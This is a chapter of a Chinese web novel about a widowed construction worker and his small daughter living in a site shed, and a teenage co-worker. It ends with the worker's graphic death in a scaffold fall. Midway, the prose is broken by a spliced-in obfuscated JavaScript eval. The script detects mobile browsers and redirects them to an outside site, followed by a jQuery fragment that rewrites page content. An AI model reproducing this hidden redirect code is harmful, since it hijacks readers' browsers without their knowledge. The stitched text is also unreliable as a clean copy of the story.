2007年7月，盛夏蝉鸣震耳。
下午三点钟，日头仍旧毒辣。
安平在绑扎箍筋，汗水浸透了旧得褪色的衬衫，顺着黝黑的皮肤往下滴，有一滴落进眼睛里，难受得很，他本能抬手去擦，手臂上也是汗水，汗擦着汗，又是一阵涩痛，令他视线产生了些微模糊。
眼前的钢筋出现重影，他用力眨眨眼，从衣服口袋里摸出一支藿香正气水。
身后的工友嘟囔：“这天气，热得不正常。”
确实，空气都像凝固一般，没有一丝风动。
安平缓过来，抬头看了看天，日头高悬，白云悠悠，他皱着眉：“真是奇了怪了，天气预报说有雨，但你看这天，哪有半点要下雨的意思？”
工友附和：“谁说不是呢。”
安平手上绑扎动作没停，余光看向旁边始终沉默的少年人。
这人是一周前来工地的，被安排到和他一个宿舍。
瘦高个，长了张年轻到有些青涩的脸，估摸着也就十六七岁。后来一问，果然刚满十六，不过这在安平看来也正常，穷人的孩子早当家，不上学了就出来打工。
只是，这孩子的父母倒也忍心，让还在长身体的娃来工地上干力气活。
安平在心底叹了口气，又摸出一支藿香正气水递过去，连带出来的，还有早上女儿放在他口袋里的水果糖。
想到年幼乖巧的女儿，他沟壑交错的脸上不自觉流露出松软。
“小伍，喝一支再继续干，生热就麻烦了。”
伍嘉时闻言抬头，安全帽下他的额发已经湿透，一缕一缕地垂下来。
他看着安平，这个老实巴交的中年男人，或许是因为同住一个宿舍，安平对他总是格外关照些。
“谢谢。”
伍嘉时伸手接过，长时间的劳动使他稍一动作，手臂牵动着肩颈的肌肉就开始发酸。来工地已经一周，他还是没有完全适应繁重的体力活，不过没关系，总会有习惯的那天，就像掌心已经磨出的茧子，随着时间日益加厚，直至感觉不到痛。
下午四点过半，天说变就变。
前一刻还艳阳天，没几分钟就铅云密布。天低得压在头顶，云层以肉眼可见的速度翻涌，仿佛顷刻间暴雨就会砸在身上。
工头急忙安排收工，扯着嗓子指挥。
该搬的搬走，该包的包好。
场面看起来混乱，却也有条不紊。
在工地待的时间久了，下暴雨这种事都知道该怎么应对。
伍嘉时没见过这阵仗，怔了一瞬。
安平提醒他：“小伍，愣啥呢，赶紧把东西装好回工棚了。”
下暴雨没法再作业，收工完成后，工头清点完人数就招呼大家赶紧回。
工地是新兴建的住宅项目，这一年，房价尚未如同坐火箭般飞涨，但商品房的建造已然遍地开花。
这个项目面积大，人员多，有附近的工人，收工之后自然是回家，也有家离得远，只能住在工地宿舍。
安平和伍嘉时都属于后者。
他俩回到工棚时，安平刚一推开门，远处天际线就滚过一声闷雷，紧接着雨点噼里啪啦砸下。
安茉就是被这声闷雷惊醒的。
她不知什么时候就睡着了。外头风云变幻一概不知，直到听见轰隆一声，她猛地从床上坐起来，睁开眼睛，工棚里很暗，虽说平时采光就不好，但也不会像现在这样，光景暗得像是半夜。
门口传来开锁声，安茉掀开蚊帐从小床上下来，揉了揉眼往门口走。
安平一开门，就看到女儿仰着小脸在喊爸爸，两只手臂张开。
小小一个，还没到他腰那里。
他拍了拍衣服上的灰尘，又扯过挂在绳子上的毛巾擦了擦手，才将女儿抱起来：“是不是刚睡醒？”
他用掌心轻轻抚过女儿脸上的红印子，那上面是凉席的纹路。
安茉点点头，指着床上的图画书，小声说：“看着看着就睡着了。”
安平顺着看过去，那是他从旧书摊上淘回来的。
安茉还没上小学，认识的字不多，但她会读拼音，靠着插画和读音也就大概能明白意思。
工地上鱼龙混杂，施工现场又危险，他怕女儿乱跑，就把工棚的门从外边锁上。实际上女儿很懂事，每天都安静待着，他晚上下工回来时也从不抱怨。
尽管如此，他还是要锁门，防止有人趁他干活时进去。
他也想过买个二手电视回来给女儿解闷，可工棚就十多平米，床和杂物都堆满了，活动的地方都只有巴掌大，更别说再塞个电视机。
真是造孽。
这话他自己说过，也无意中听别人说过。
“这么小个娃，就被她爸带着到工地受罪，真是造孽啊……”
这话是事实，安平每每想起就心里发酸，可他又实在迫不得已。
“晚上想吃啥？”安平问女儿。
安茉不挑食，“都行。”
“这雨也不知道要下到什么时候……”安平把女儿放下，扭头对伍嘉时说：“小伍，下着雨，你晚上也别出去买饭了，我出去一趟顺带给你捎一份。”
工地只管中午饭，早晚饭要自己解决。
而且工棚里是不允许私下做饭的，说是有安全隐患，但好在工地附近的小饭馆、路边摊价格都很亲民，面向的就是下力人。
“不用……”伍嘉时下意识拒绝，他不习惯麻烦别人。
“不用啥呀，你连伞都没有吧？”安平笑笑。这孩子来工地的那天，行李少得可怜，连床垫子都没有，晚上就打算睡在硬板床上。他瞅着就心疼，找了床旧棉被给他铺上，当时这孩子也说不用。
伍嘉时沉默了会儿，没再拒绝，“谢谢安叔，等下我把钱给你。”
安平没接钱这个话茬，反而调侃：“这些天听你说最多的就是谢谢，这也要谢，那也要谢，你这孩子咋恁客气啊。”
安平抬手摸了下女儿脑袋，叮嘱她：“乖乖待着，爸爸很快就回来。”
天地都被雨水浇得模糊，安平看了一眼，弯腰把裤腿挽起来，撑起伞踏进了雨幕中。
工棚里就剩下安茉和伍嘉时，一个小孩和一个半大的少年。
安茉眨巴眼睛看着伍嘉时，好奇居多，也有些拘谨。
这一周里，她还没有和这个大哥哥说过话。
倒不是安茉不想说，而是伍嘉时一副生人勿近的样子。
大多数时候，他都是沉默的。
譬如此刻，伍嘉时一言不发，径直走向床铺，往上一躺。
安茉只能看到他削瘦的后背。
雨点砸在工棚屋顶铁皮上，声响格外大，整个世界被水浸透，安茉觉得，他们此刻像是在鱼肚子里。
她盯着伍嘉时的后背，目光专注。
她看到一滴水落在他的床单上，因为没落在身上，他大约没感觉到，仍旧保持着背对的姿势没动。
安茉看着第二滴水落下时，往他床边走了两步。
等到第三滴水，她伸手戳了戳他的后背。
伍嘉时猛地转过来，在一片昏沉中看着她。
他动作太迅速，安茉一时没反应过来，和他对视几秒，才指着床单洇湿的位置讷讷开口：“哥哥，漏雨了。”
伍嘉时低头看床单上那片阴影，又抬头看顶棚，房间里太暗，不能确定是哪个位置漏雨。但从漏雨情况来看，应该是很小的漏洞。
他打开灯，再次检查顶棚。
“哥哥……”安茉站在他床边，一双手掌捧成小碗状，去接漏雨的地方。她小声说：“我先接住雨，等我爸爸回来他会把屋顶修好的。”
在安茉的小世界里，爸爸是无所不能的存在。
伍嘉时看着水珠落在她手掌，又别过眼。
“不用麻烦你爸爸了。”他俯身在工具箱里找防水胶，“我自己修就可以。”
工棚层高矮，伍嘉时站在凳子上，一伸手就能够到顶棚。
他找到漏雨的位置，果然只有钉孔大小，涂上防水胶后，漏雨立刻就止住了。
安茉瞪大眼睛，觉得好神奇。
她张了张嘴还没发出声音，门被人推开，带进来一阵潮湿雨气。
安平把伞挂在外边，雨太大，撑着伞也无济于事，身上衣服被淋湿了大半，好在买回来的卤菜和馒头被他裹在怀里，没沾上雨水，拿出来还是热乎乎的。
“又漏雨了？”安平说，“这板房也不知道转了几手，一下大雨就漏。”
“不碍事，修好了。”伍嘉时从凳子上下来，又用抹布把凳子面擦了擦。
工棚里有张折叠饭桌，平时放着不占地方，吃饭了就支起来。
以前都是安平和女儿一起吃饭，现在多了个伍嘉时。
安平把塑料袋解开，直接把小菜和卤肉就着袋子放桌上，他问摊主要了三双一次性筷，主要也是为了省事，吃完不用洗碗洗筷。
香味弥漫在小小的工棚里。
安茉乖乖坐在小板凳上，她已经饿了，但她要等爸爸一起吃。
安平走到角落里，这里有旧床单挡起来专门换衣服的地方，女儿虽然还小，但毕竟是女孩子，这些细节都得注意。他把衬衫脱了挂起来，没洗，下着雨洗了也是阴干一股子味道，还不如等天晴了再洗好晾干。
他找了件干净衣服穿上，走出去。
伍嘉时摸着口袋问：“安叔，这饭多少钱，我给你。”
安平笑笑，“都混在一起呢，分不清。”
他往饭桌前一坐，“等你工资发下来，再跟我计较钱的事，现在不急。”
伍嘉时来工地时身无分文，工头预支给他三百块，到时候要在工资里扣。
他不吭声了。
下雨天，蚊子总往屋里钻，进进出出开门时难免带进来几只蚊子，要是不点上蚊香，一顿饭吃下来小腿上能多出几个包，痒起来前半夜都睡不安稳。
安平点了盘蚊香放旁边。
这顿饭吃得很快，干了一天活的人没有闲聊，馒头配菜吃得津津有味。
安茉最磨蹭，安平等她吃完把塑料袋收拾到一起扔在外边垃圾桶里，放屋里可不行，夏天最容易招小虫子。
饭后，安平领着安茉去公共洗手间洗脸刷牙，虽然也就几步路，但他不放心女儿自己去。
养女儿嘛，总归是要小心些。
回工棚，他又陪女儿看了会儿图画书，其实他大字不识几个，很多时候都是安茉用稚嫩的声音念着旁白，他只是听着就觉得心里像灌了蜜。
安茉没一会儿就睡着了。
小孩子觉多，白天睡过，晚上还照睡不误。
安平给她肚子上盖好小毯子，掖好蚊帐边，确定女儿今晚能睡个好觉，他才拿着毛巾香皂去冲澡。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490644|185842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个时间点，公共洗澡间人不多。
伍嘉时一般也是在这个点去冲澡。
雨声丝毫没有要停歇的意思，夜色黑黝黝一片，往东边看去，依稀可见尚未完工的高楼轮廓。
安平站在门外抽了支烟，散花软包，是当时阳城最便宜的香烟之一，售价三块钱一包。
他给伍嘉时散了一支。
伍嘉时摆了摆手，没接。
“咋滴，嫌这烟太差了？”安平笑着打趣。
“不是。”伍嘉时说，“我不抽烟。”
“不抽烟好，烟这玩意百害无一利。”安平收回烟盒，缓缓吐出口烟圈。
这话从一个正在吞云吐雾的人口中说出，未免有些好笑。
伍嘉时没笑，也没说话，安静看着雨。
“不抽烟你就先进去呗。”安平说，“怎么？在这吸二手烟啊？”
“看雨。”
安平哼笑一声，“闲的。”
话虽这么说，但他的目光自始至终也没有离开过漫天的雨。
房间里，安茉平稳轻浅的呼吸声，被汹涌的雨声掩盖。
一支烟抽完，安平干咳了两声，没头没尾地说了句：“那天也下了暴雨。”
“哪天？”
“安茉她妈去世的那天。”
安平摁灭烟，一阵长久的沉默过后，他说：“我和她妈是相亲认识的，那个年代也不兴自由恋爱，用现在的话说，我们俩都是彼此的初恋……”
提到妻子，这个中年男人的眉目温和下来。
“婚后十多年，我也没啥出息，好在她也不嫌弃我。日子就这么一天天过下去，一直到茉茉出生，中年得女，我们俩都宝贝得不行。”
行囊羞涩都无恨，难得夫妻是少年。
安平回想起那段日子，像梦一般。
妻女在身边，他除了种地，农闲时候就进城打工，生活虽不富裕但幸福是真的。
“再后来，她妈生了病，起初是低烧，到诊所吃药挂水都不见好。我就带她去医院，她啊，总是怕花钱，我说，这两亩地的小麦等到七月份就熟了，到时候卖了，就有钱了。可是医生告诉我，两亩地的小麦钱不够，二十亩都不够……”
伍嘉时一直在扮演聆听者，直到听见这声音里掺杂了不易察觉的哭腔。他蓦地偏过头，中年男人的后背微微驼着，眼角似有湿润。
“我借了亲戚的钱，终于让她住上院了，可还是没办法……”他又重复了一遍：“没办法呀。欠了一圈债，我就只能带茉茉到城里打工。他们说我把这么小的闺女带到工地，真是造孽啊，可我实在是没办法呀。”
那些压在心口的，不曾诉说过的话，在今晚一股脑都倒了出来。
或许是因为对方只是一个少年，这些话说过就说过了，少年人不会放在心上。
安平深深地吐出一口气。
良久，他嘴角勉强地牵了牵：“进去吧。”
安平推门的动作很轻，再加上小孩子睡得沉，安茉丝毫没被声响吵醒。
他看着女儿的睡颜，心里盘算着钱攒得差不多了，等到八月份就在小学附近租个房子。安茉生日是九月份，卡在这个点，去年秋季开学时，她还不满六岁，读不了小学。但实际上到今年九月份她就满七岁了，算起来是晚入学一年。
到时候要给女儿买个漂亮的新书包。
安平这么想着，慢慢睡着。
雨连着下了两天，到第三天下午，终于放晴。
施工进度不等人，项目部催得紧，工头也火急火燎，当天下午就打算开工。
开工前得检查现场，暴雨冲刷下，外脚手架的连接螺栓松动，在第八层位置。
工头扫了圈，没见那几个架子工的人影，他啐了口，转头喊住伍嘉时，“小伍，你上去把螺栓加固加固。”
这活其实除了要高空作业外，没技术含量，会用扳手就行。
所以工头才随手指派了个。
“他才来工地一周，十六岁的娃，你就让他干那高处的活。”安平看着工头，“老陈，你不厚道啊。”
老陈脸色不大好看，“年纪小灵活，再说了，系着安全绳呢，能出啥事。”
伍嘉时从工具包里找出扳手。
安平对他很好，老陈也给他预支过工钱，他不想两人因为他闹矛盾。
“没事，安叔，我上去了。”
安平拉住他，“我替你去。”
伍嘉时拍了拍安平的手背，“真没事。”
安平二话不说就把扳手夺过来，不给伍嘉时再拒绝的机会。
系上安全绳的时候，他还笑着说：“等会就下来了。”
他笑起来眼角的皱纹很深。
灰扑扑带着补丁的衣服，劲瘦的身躯，黝黑的皮肤，因长期干活而更显沧桑的面容，很符合从事重体力劳动者的形象。
伍嘉时望着站在高处的安平，似乎是望见了以后的自己。
安全绳在空中摇摇晃晃，像钟摆。
指针跳来跳去，最终定格在六点钟。
紧随其后是一阵惊呼。
绳子断了。
安平摔下来的位置立着几根纵筋。
钢筋贯穿他的身躯，他弯了一辈子的腰，此刻呈现出一种反弓的姿态。
远处的夕阳下坠，染红天边一片，让人分不清到底是残阳如血，还是血如残阳。